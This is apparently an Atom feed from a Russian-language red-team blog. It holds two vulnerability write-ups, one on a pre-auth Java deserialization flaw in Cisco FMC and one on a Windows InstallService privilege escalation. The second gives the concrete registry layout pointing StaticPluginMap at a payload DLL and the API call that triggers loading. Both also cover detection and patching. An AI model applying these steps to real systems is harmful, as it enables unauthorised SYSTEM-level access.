<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>GISCYBERTEAM</title><author><name>GISCYBERTEAM</name></author><id>https://teletype.in/atom/giscyberteam</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/giscyberteam?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/giscyberteam?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-10-23T17:08:12.266Z</updated><entry><id>giscyberteam:CVE_2026_20131_cisco_fmc_review</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/CVE_2026_20131_cisco_fmc_review?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>CVE-2026-20131: как Java-десериализация открыла путь к root на Cisco FMC</title><published>2026-09-10T10:41:48.495Z</published><updated>2026-09-10T10:41:48.495Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/45/12/45122513-a0c9-46d3-8ac1-e48eebfcf8df.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/2e/66/2e66cf4e-f812-46ed-a7bf-e39c546a2669.jpeg&quot;&gt;CVE-2026-20131 — критическая уязвимость в веб-интерфейсе Cisco Secure Firewall Management Center. Удалённому атакующему не нужны ни учётная запись, ни действия администратора: достаточно отправить специально подготовленный Java-объект. Уязвимый FMC десериализует его, и цепочка вызовов может закончиться выполнением произвольного Java-кода с правами root. К моменту публичного раскрытия уязвимость уже использовали в реальных атаках.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;5J9a&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;w5ba&quot;&gt;&lt;code&gt;CVE-2026-20131&lt;/code&gt; — критическая уязвимость в веб-интерфейсе &lt;code&gt;Cisco Secure Firewall Management Center&lt;/code&gt;. Удалённому атакующему не нужны ни учётная запись, ни действия администратора: достаточно отправить специально подготовленный &lt;code&gt;Java&lt;/code&gt;-объект. Уязвимый &lt;code&gt;FMC&lt;/code&gt; десериализует его, и цепочка вызовов может закончиться выполнением произвольного &lt;code&gt;Java&lt;/code&gt;-кода с правами &lt;code&gt;root&lt;/code&gt;. К моменту публичного раскрытия уязвимость уже использовали в реальных атаках.&lt;/p&gt;
  &lt;blockquote id=&quot;o2lg&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;p id=&quot;zbpl&quot;&gt;Когда говорят об атаке на &lt;code&gt;firewall&lt;/code&gt;, обычно представляют обход правил фильтрации, уязвимость &lt;code&gt;VPN&lt;/code&gt; или удалённое выполнение кода на самом шлюзе.&lt;/p&gt;
  &lt;p id=&quot;nn9R&quot;&gt;&lt;code&gt;CVE-2026-20131&lt;/code&gt; бьёт в другое место.&lt;/p&gt;
  &lt;p id=&quot;q6hT&quot;&gt;&lt;strong&gt;Cisco Secure Firewall Management Center (FMC)&lt;/strong&gt; — это центр управления. Через него администраторы создают политики, меняют сетевые объекты, подключают устройства и распространяют конфигурацию на весь парк &lt;code&gt;firewall&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;tmhe&quot;&gt;Поэтому атакующему не обязательно взламывать каждый шлюз по отдельности. Если он получает контроль над &lt;code&gt;FMC&lt;/code&gt;, то оказывается рядом с системой, которая говорит всем этим шлюзам, &lt;strong&gt;как именно они должны работать&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;uWuD&quot;&gt;Cisco раскрыла уязвимость 4 марта 2026 года и присвоила ей максимальную оценку &lt;strong&gt;CVSS 10.0&lt;/strong&gt;. 18 марта компания добавила предупреждение о попытках эксплуатации. В тот же день &lt;code&gt;Amazon Threat Intelligence&lt;/code&gt; сообщила, что группировка &lt;code&gt;Interlock&lt;/code&gt; использовала уязвимость ещё с 26 января — за 36 дней до публичного раскрытия. 19 марта &lt;code&gt;CVE&lt;/code&gt; попала в каталог активно эксплуатируемых уязвимостей &lt;code&gt;CISA KEV&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;4QKq&quot;&gt;Что такое CVE-2026-20131&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;8bFP&quot;&gt;&lt;code&gt;CVE-2026-20131&lt;/code&gt; — это &lt;strong&gt;небезопасная десериализация недоверенных данных&lt;/strong&gt; (&lt;code&gt;CWE-502&lt;/code&gt;) в веб-интерфейсе &lt;code&gt;Cisco FMC&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;jmLL&quot;&gt;Для успешной атаки не требуется аутентификация. По описанию &lt;code&gt;Cisco&lt;/code&gt;, специально подготовленный сериализованный &lt;code&gt;Java&lt;/code&gt;-объект может привести к выполнению произвольного Java-кода и повышению привилегий до &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;XM7p&quot;&gt;Здесь важны сразу три детали: запрос приходит по сети, обрабатывается до входа пользователя, а успешная атака заканчивается выполнением кода в привилегированном контексте.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;CNuO&quot;&gt;Где находится уязвимость&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;QTW3&quot;&gt;Упрощённо архитектуру можно представить так:&lt;/p&gt;
  &lt;pre id=&quot;uOM9&quot;&gt;       Администратор
             │
             ▼
   Web-интерфейс FMC
             │
             ▼
   Java application layer
             │
             ▼
 Политики, объекты, устройства
             │
             ▼
      Управляемые firewall&lt;/pre&gt;
  &lt;p id=&quot;iPr0&quot;&gt;Ошибка находится на самой верхней границе — там, где веб-интерфейс принимает данные из сети. Но последствия спускаются гораздо ниже: скомпрометированный &lt;code&gt;FMC&lt;/code&gt; может стать точкой для кражи конфигурации, закрепления в инфраструктуре и вмешательства в управление защитными устройствами.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;Nu49&quot;&gt;Что такое Java-десериализация и где всё ломается&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;9ORb&quot;&gt;Сериализация превращает объект &lt;code&gt;Java&lt;/code&gt; в последовательность байтов, которую можно сохранить или передать по сети. Десериализация делает обратное: читает поток и восстанавливает объект вместе со связями с другими объектами.&lt;/p&gt;
  &lt;p id=&quot;VKNs&quot;&gt;На первый взгляд это похоже на разбор &lt;code&gt;JSON&lt;/code&gt;. Но есть принципиальная разница.&lt;/p&gt;
  &lt;p id=&quot;5AyM&quot;&gt;JSON обычно описывает данные: строки, числа, массивы. &lt;code&gt;Java serialization&lt;/code&gt; описывает &lt;strong&gt;граф объектов конкретных классов&lt;/strong&gt;. Пока &lt;code&gt;JVM&lt;/code&gt; собирает этот граф, она может вызывать специальные методы вроде &lt;code&gt;readObject()&lt;/code&gt; и другие callbacks.&lt;/p&gt;
  &lt;p id=&quot;GQHR&quot;&gt;Если вход недоверенный, а набор допустимых классов не ограничен, атакующий получает возможность подобрать такую комбинацию уже существующих в приложении классов, при которой один вызов тянет за собой другой. Такая последовательность называется &lt;strong&gt;gadget chain&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;Gl1q&quot;&gt;Важно: сериализованный поток не содержит готовую &lt;code&gt;Java&lt;/code&gt;-программу, которую &lt;code&gt;JVM&lt;/code&gt; просто запускает. Он заставляет сервер собрать определённый граф объектов, а уже методы доступных на сервере классов могут привести к выполнению нужного атакующему действия.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;q6tn&quot;&gt;Как развивается атака&lt;/h1&gt;
  &lt;/section&gt;
  &lt;h3 id=&quot;QI1V&quot;&gt;Этап 1. Запрос попадает в веб-интерфейс без аутентификации&lt;/h3&gt;
  &lt;p id=&quot;GF05&quot;&gt;Атакующий отправляет специально сформированный &lt;code&gt;Java byte stream&lt;/code&gt; на уязвимый обработчик &lt;code&gt;FMC&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;jgL0&quot;&gt;Этап 2. Сервер восстанавливает граф объектов&lt;/h3&gt;
  &lt;p id=&quot;r4eA&quot;&gt;Уязвимый код начинает десериализацию до того, как убедился, что входу можно доверять.&lt;/p&gt;
  &lt;p id=&quot;3Ijw&quot;&gt;В этот момент сервер уже работает не просто с набором байтов. Он создаёт экземпляры классов, восстанавливает связи между ними и вызывает предусмотренные механизмом десериализации методы.&lt;/p&gt;
  &lt;p id=&quot;CaUQ&quot;&gt;Первые четыре байта стандартного &lt;code&gt;Java serialization stream&lt;/code&gt; выглядят так:&lt;/p&gt;
  &lt;pre id=&quot;UliQ&quot;&gt;AC ED 00 05&lt;/pre&gt;
  &lt;h3 id=&quot;LPxm&quot;&gt;Этап 3. Срабатывает gadget chain&lt;/h3&gt;
  &lt;p id=&quot;9NYc&quot;&gt;Если в classpath конкретной сборки FMC есть подходящие классы, специально построенный объект может выстроить нужную атакующему цепочку вызовов их методов.&lt;/p&gt;
  &lt;p id=&quot;TgXC&quot;&gt;Упрощённо:&lt;/p&gt;
  &lt;pre id=&quot;ZrBX&quot;&gt; Недоверенный HTTP body
          │
          ▼
 Java-десериализация
          │
          ▼
 Восстановление object graph
          │
          ▼
     Gadget chain
          │
          ▼
 Выполнение Java-кода&lt;/pre&gt;
  &lt;p id=&quot;aJdo&quot;&gt;Отсюда ещё одна важная деталь: &lt;code&gt;payload&lt;/code&gt; зависит от окружения. Цепочка, работающая на одной версии приложения, может не сработать на другой из-за отличий в библиотеках и их версиях.&lt;/p&gt;
  &lt;h3 id=&quot;JBbM&quot;&gt;Этап 4. Код выполняется с правами root&lt;/h3&gt;
  &lt;p id=&quot;kIeF&quot;&gt;По данным &lt;code&gt;Cisco&lt;/code&gt;, успешная эксплуатация позволяет выполнить произвольный &lt;code&gt;Java&lt;/code&gt;-код и повысить привилегии до &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;CE8R&quot;&gt;После этого речь идёт уже не только о доступе к веб-интерфейсу. Атакующий получает контроль над самим сервером управления и может переходить к закреплению, разведке внутренней сети и вмешательству в конфигурацию безопасности.&lt;/p&gt;
  &lt;figure id=&quot;OL2j&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cb/9a/cb9a2bb0-c991-4ead-9908-10747d08300b.png&quot; width=&quot;1672&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;b8Mo&quot;&gt;Как уязвимость использовали в реальных атаках&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;6nFT&quot;&gt;История &lt;code&gt;CVE-2026-20131&lt;/code&gt; стала особенно неприятной после публикации расследования &lt;code&gt;Amazon Threat Intelligence&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;BNzn&quot;&gt;Исследователи обнаружили активность группировки &lt;code&gt;Interlock&lt;/code&gt;, начавшуюся 26 января 2026 года. В &lt;code&gt;HTTP&lt;/code&gt;-запросах к уязвимому ПО находились попытки выполнения Java-кода и две ссылки: одна использовалась для получения данных, необходимых эксплойту, другая — для проверки успешного выполнения через исходящий &lt;code&gt;HTTP&lt;/code&gt; &lt;code&gt;PUT&lt;/code&gt;-запрос от жертвы.&lt;/p&gt;
  &lt;p id=&quot;tfKv&quot;&gt;&lt;code&gt;Amazon&lt;/code&gt; имитировала такой &lt;code&gt;callback&lt;/code&gt;, фактически притворившись уже взломанным сервером. В ответ операторы Interlock перешли к следующей стадии и отправили команды на загрузку и запуск вредоносного &lt;code&gt;ELF&lt;/code&gt;-файла.&lt;/p&gt;
  &lt;p id=&quot;X29M&quot;&gt;Дальше цепочка выглядела как полноценное ransomware-вторжение. В инфраструктуре атакующих исследователи нашли инструменты разведки, &lt;code&gt;Java&lt;/code&gt;- и &lt;code&gt;JavaScript&lt;/code&gt;-бэкдоры, легитимный &lt;code&gt;ScreenConnect&lt;/code&gt; для резервного удалённого доступа и memory-resident web shell, который регистрировался в &lt;code&gt;Java&lt;/code&gt;-приложении и выполнял код прямо в памяти.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;r323&quot;&gt;Почему «FMC не смотрит в интернет» — не решение&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;djGb&quot;&gt;Закрытый management &lt;code&gt;interface&lt;/code&gt; действительно уменьшает поверхность атаки. &lt;code&gt;Cisco&lt;/code&gt; прямо отмечает это в &lt;code&gt;advisory&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;aWZD&quot;&gt;Но сетевое ограничение не исправляет небезопасную десериализацию. Запрос всё ещё может прийти с администраторской рабочей станции, через скомпрометированный &lt;code&gt;VPN&lt;/code&gt;, из соседнего сегмента или от другого узла внутри сети.&lt;/p&gt;
  &lt;p id=&quot;JINK&quot;&gt;Правильная модель выглядит так:&lt;/p&gt;
  &lt;pre id=&quot;vbfY&quot;&gt;Fixed software
      +
Доступ только через management-сегмент
      +
Мониторинг и ретроспективная проверка&lt;/pre&gt;
  &lt;p id=&quot;ZFlx&quot;&gt;Патч закрывает первопричину. Ограничение доступа сокращает число тех, кто вообще может добраться до интерфейса. Мониторинг помогает понять, не произошло ли вторжение раньше.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;PDII&quot;&gt;Что делать владельцу FMC&lt;/h1&gt;
  &lt;/section&gt;
  &lt;h3 id=&quot;123w&quot;&gt;1. Проверить именно версию FMC&lt;/h3&gt;
  &lt;p id=&quot;QhJl&quot;&gt;Не &lt;code&gt;ASA&lt;/code&gt; и не &lt;code&gt;FTD&lt;/code&gt;, а &lt;code&gt;management server&lt;/code&gt;: &lt;code&gt;release&lt;/code&gt; и &lt;code&gt;build FMC&lt;/code&gt; нужно сопоставить с официальным &lt;code&gt;Cisco Software Checker&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;Z71B&quot;&gt;2. Установить fixed software&lt;/h3&gt;
  &lt;p id=&quot;u1mC&quot;&gt;&lt;code&gt;Cisco&lt;/code&gt; выпустила обновления и отдельно подчёркивает, что полноценного workaround нет. Если &lt;code&gt;FMC&lt;/code&gt; ещё не обновлён, сетевые ограничения стоит рассматривать только как временное снижение риска.&lt;/p&gt;
  &lt;p id=&quot;tLM6&quot;&gt;Для &lt;code&gt;Cisco Security Cloud Control&lt;/code&gt; исправление уже развёрнуто самой &lt;code&gt;Cisco&lt;/code&gt;; пользователям &lt;code&gt;SaaS&lt;/code&gt; отдельное действие не требуется.&lt;/p&gt;
  &lt;h3 id=&quot;wOcZ&quot;&gt;3. Ограничить доступ к management interface&lt;/h3&gt;
  &lt;p id=&quot;pRSq&quot;&gt;&lt;code&gt;FMC&lt;/code&gt; должен быть доступен только из выделенного &lt;code&gt;management&lt;/code&gt;-сегмента — через &lt;code&gt;VPN&lt;/code&gt; или &lt;code&gt;bastion&lt;/code&gt; и с явным списком разрешённых источников. Публичный доступ к панели управления превращает &lt;code&gt;pre-auth RCE&lt;/code&gt; в проблему совсем другого масштаба.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;G9a8&quot;&gt;Итог&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;2ERf&quot;&gt;&lt;strong&gt;CVE-2026-20131&lt;/strong&gt; — хороший пример того, почему центр управления защитой сам должен считаться критическим активом.&lt;/p&gt;
  &lt;p id=&quot;gpkH&quot;&gt;Уязвимый &lt;code&gt;FMC&lt;/code&gt; принимал недоверенный &lt;code&gt;Java byte stream&lt;/code&gt; и начинал восстанавливать переданный граф объектов. Подходящая &lt;code&gt;gadget chain&lt;/code&gt; могла привести к выполнению произвольного &lt;code&gt;Java&lt;/code&gt;-кода, а затем — к повышению привилегий до &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;ZIxs&quot;&gt;Упрощённо:&lt;/p&gt;
  &lt;pre id=&quot;t3M9&quot;&gt;Запрос без аутентификации
           ↓
Сериализованный Java-объект
           ↓
Небезопасная десериализация
           ↓
Gadget chain
           ↓
Java-код с правами root
           ↓
Компрометация management plane&lt;/pre&gt;
  &lt;blockquote id=&quot;0PVN&quot;&gt;Главный практический вывод прост: проверить версию FMC, установить fixed software и изучить журналы за прошлые периоды, если интерфейс был доступен из недоверенной сети.&lt;/blockquote&gt;

</content></entry><entry><id>giscyberteam:eve_2026_50343_review</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/eve_2026_50343_review?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>CVE-2026-50343(CWE-269: Improper Privilege Management): повышение привилегий через Windows InstallService</title><published>2026-09-02T13:26:49.547Z</published><updated>2026-09-10T10:27:15.119Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/1d/63/1d63cdb2-16e8-4657-bd3f-abdd42f70407.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/9d/5a/9d5a2bb3-75bc-460e-b147-0e5606105631.png&quot;&gt;Уязвимость связана с тем, что стандартный пользователь может изменять определённые ветки HKLM регистра, которые впоследствии читаются и обрабатываются InstallService в привилегированном контексте. В результате системный сервис может загрузить контролируемую пользователем DLL и выполнить её с привилегиями NT AUTHORITY\SYSTEM.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;6exI&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;jNeQ&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9d/5a/9d5a2bb3-75bc-460e-b147-0e5606105631.png&quot; width=&quot;627&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hOkY&quot;&gt;Уязвимость связана с тем, что стандартный пользователь может изменять определённые ветки &lt;code&gt;HKLM&lt;/code&gt; регистра, которые впоследствии читаются и обрабатываются InstallService в привилегированном контексте. В результате системный сервис может загрузить контролируемую пользователем &lt;code&gt;DLL&lt;/code&gt; и выполнить её с привилегиями &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;NdPg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b4/29/b4291f4b-ef87-44de-b0e5-0d4ee8005fe8.png&quot; width=&quot;1693&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;j6Wd&quot;&gt;InstallService и plugin state&lt;/h3&gt;
  &lt;p id=&quot;E01M&quot;&gt;&lt;code&gt;InstallService&lt;/code&gt; является частью &lt;code&gt;Windows&lt;/code&gt;, связанной с установкой и обновлением приложений. Сервис работает с привилегиями &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;, поэтому код, загруженный в его процесс, также выполняется в контексте &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;nCCF&quot;&gt;Для обработки plugin &lt;code&gt;InstallService&lt;/code&gt; использует состояние в реестре:&lt;/p&gt;
  &lt;pre id=&quot;Kc5N&quot;&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State&lt;/pre&gt;
  &lt;p id=&quot;BgRq&quot;&gt;В рассматриваемой цепочке важны:&lt;/p&gt;
  &lt;pre id=&quot;Iam3&quot;&gt;PlugInList
StaticPluginMap&lt;/pre&gt;
  &lt;p id=&quot;8P4e&quot;&gt;Упрощённо их роль выглядит так:&lt;/p&gt;
  &lt;pre id=&quot;5vI6&quot;&gt;PlugInList
    │
    └── название плагина и его состояние

StaticPluginMap
    │
    └── название плагина → что подгрузить&lt;/pre&gt;
  &lt;p id=&quot;Jfoi&quot;&gt;При обработке plugin &lt;code&gt;InstallService&lt;/code&gt; проходит через внутреннюю цепочку выбора и активации:&lt;/p&gt;
  &lt;pre id=&quot;z3XX&quot;&gt;InstallServiceControl::CreateInstallServiceWork
        ↓
InstallQueue2::CreateWork
        ↓
CreateInstallServiceWorkByPlugin
        ↓
PluginHelpers::IsPluginAvailable
        ↓
PluginHelpers::GetPluginFromStaticMap
        ↓
PluginHelpers::ActivatePlugin&lt;/pre&gt;
  &lt;p id=&quot;IfJq&quot;&gt;На уязвимых сборках стандартный пользователь, состоящий в группе &lt;code&gt;NT AUTHORITY\INTERACTIVE&lt;/code&gt; может создавать необходимые ключи и записывать значения в эти разделы. После этого те же данные используются привилегированным &lt;code&gt;InstallService&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;jjak&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6d/9e/6d9ebb7b-f4e1-4631-ab4b-a786f8d5c39c.png&quot; width=&quot;1496&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LxOG&quot;&gt;Интересная особенность &lt;code&gt;CVE&lt;/code&gt; заключается в том, что &lt;code&gt;StaticPluginMap&lt;/code&gt; может участвовать в двух вариантах цепочки загрузки &lt;code&gt;DLL&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;maLR&quot;&gt;StaticPluginMap → путь к DLL → загрузка DLL&lt;/pre&gt;
  &lt;p id=&quot;jHMT&quot;&gt;или:&lt;/p&gt;
  &lt;pre id=&quot;zJDU&quot;&gt;StaticPluginMap → CLSID
                         ↓
                  CoCreateInstance()
                         ↓
                    InprocServer32
                         ↓
                        DLL&lt;/pre&gt;
  &lt;p id=&quot;KNxG&quot;&gt;Оба варианта приводят к загрузке контролируемого кода в контексте &lt;code&gt;InstallService&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;8Lzh&quot;&gt;StaticPluginMap -&amp;gt; путь к DLL&lt;/h3&gt;
  &lt;p id=&quot;hJxL&quot;&gt;В &lt;code&gt;StaticPluginMap&lt;/code&gt; непосредственно указывается путь к контролируемой &lt;code&gt;DLL&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;Kt11&quot;&gt;StaticPluginMap
└── &amp;lt;plugin_name&amp;gt; = C:\...\payload.dll&lt;/pre&gt;
  &lt;p id=&quot;AyLu&quot;&gt;Одновременно создаётся plugin entry:&lt;/p&gt;
  &lt;pre id=&quot;UJIs&quot;&gt;PlugInList
└── &amp;lt;plugin_name&amp;gt; = 1&lt;/pre&gt;
  &lt;p id=&quot;FXmK&quot;&gt;Подготовленное состояние выглядит следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;1Rlh&quot;&gt;HKLM
└── SOFTWARE
    └── Microsoft
        └── Windows
            └── CurrentVersion
                └── InstallService
                    └── State
                        ├── PlugInList
                        │   └── &amp;lt;plugin_name&amp;gt; = 1
                        │
                        └── StaticPluginMap
                            └── &amp;lt;plugin_name&amp;gt; = C:\...\payload.dll&lt;/pre&gt;
  &lt;figure id=&quot;xTMD&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/91/96/91960b79-f2f6-4725-a6aa-7fc3fa7a3bb0.png&quot; width=&quot;1714&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;RP1P&quot;&gt;Реализация уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;blockquote id=&quot;cIu7&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;p id=&quot;Gbpk&quot;&gt;Подготовленного &lt;code&gt;registry state&lt;/code&gt; недостаточно - необходимо инициировать работу &lt;code&gt;InstallService&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;uayO&quot;&gt;Сделать это предлагается вызовом:&lt;/p&gt;
  &lt;pre id=&quot;J2vH&quot;&gt;Windows.ApplicationModel.Store.Preview.InstallControl.AppInstallManager.SearchForAllUpdatesAsync()&lt;/pre&gt;
  &lt;figure id=&quot;eiOd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/cd/c5cd348b-5cc5-45a4-aa3e-bdcfe65f51fe.png&quot; width=&quot;1357&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;6kOQ&quot;&gt;Как защищаться&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;3meJ&quot;&gt;Основная мера защиты — установка исправления Microsoft.&lt;/p&gt;
  &lt;p id=&quot;gTKX&quot;&gt;Уязвимость была исправлена 14 июля 2026 года. Для затронутых версий &lt;code&gt;Windows&lt;/code&gt; необходимо установить соответствующее накопительное обновление безопасности и убедиться, что система находится на исправленном &lt;code&gt;build&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;T9kQ&quot;&gt;До установки исправления для обнаружения можно контролировать изменения:&lt;/p&gt;
  &lt;pre id=&quot;Dor1&quot;&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State&lt;/pre&gt;
  &lt;p id=&quot;VPUI&quot;&gt;особенно:&lt;/p&gt;
  &lt;pre id=&quot;SBUZ&quot;&gt;PlugInList
StaticPluginMap&lt;/pre&gt;
  &lt;p id=&quot;Cf11&quot;&gt;Подозрительными признаками являются:&lt;/p&gt;
  &lt;ul id=&quot;VTNA&quot;&gt;
    &lt;li id=&quot;Tfq9&quot;&gt;создание новых &lt;code&gt;plugin entries&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;Cimq&quot;&gt;изменение &lt;code&gt;StaticPluginMap&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;JVGq&quot;&gt;значения, указывающие на пользовательские каталоги;&lt;/li&gt;
    &lt;li id=&quot;BxZu&quot;&gt;изменение этих ключей из пользовательского контекста;&lt;/li&gt;
    &lt;li id=&quot;SBah&quot;&gt;загрузка нестандартных &lt;code&gt;DLL&lt;/code&gt; системными процессами.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Bd6s&quot;&gt;Для &lt;code&gt;COM&lt;/code&gt;-варианта полезно дополнительно сопоставлять:&lt;/p&gt;
  &lt;pre id=&quot;G7yi&quot;&gt;StaticPluginMap
      ↓
CLSID
      ↓
HKLM\SOFTWARE\Classes\CLSID\&amp;lt;CLSID&amp;gt;\InprocServer32
      ↓
DLL&lt;/pre&gt;
  &lt;p id=&quot;04fY&quot;&gt;Отдельно стоит отслеживать загрузку &lt;code&gt;DLL&lt;/code&gt; из пользовательских и writable-каталогов системными процессами.&lt;/p&gt;
  &lt;p id=&quot;fpMJ&quot;&gt;После установки обновления имеет смысл проверить права на:&lt;/p&gt;
  &lt;pre id=&quot;Ao67&quot;&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State&lt;/pre&gt;
  &lt;p id=&quot;PcaH&quot;&gt;и убедиться, что стандартный пользователь не может изменять &lt;code&gt;plugin state&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;xJGU&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Xu69&quot;&gt;&lt;code&gt;CVE-2026-50343&lt;/code&gt; возникает из-за нарушения границы доверия между стандартным пользователем и привилегированным &lt;code&gt;InstallService&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;tnoB&quot;&gt;Низкопривилегированный пользователь получает возможность управлять &lt;code&gt;plugin state&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;TRGl&quot;&gt;PlugInList
StaticPluginMap&lt;/pre&gt;
  &lt;p id=&quot;bj85&quot;&gt;после чего &lt;code&gt;InstallService&lt;/code&gt; использует эти данные для активации &lt;code&gt;plugin&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;qlA1&quot;&gt;Существует два основных варианта цепочки:&lt;/p&gt;
  &lt;pre id=&quot;yK6m&quot;&gt;StaticPluginMap
                       │
             ┌─────────┴─────────┐
             │                   │
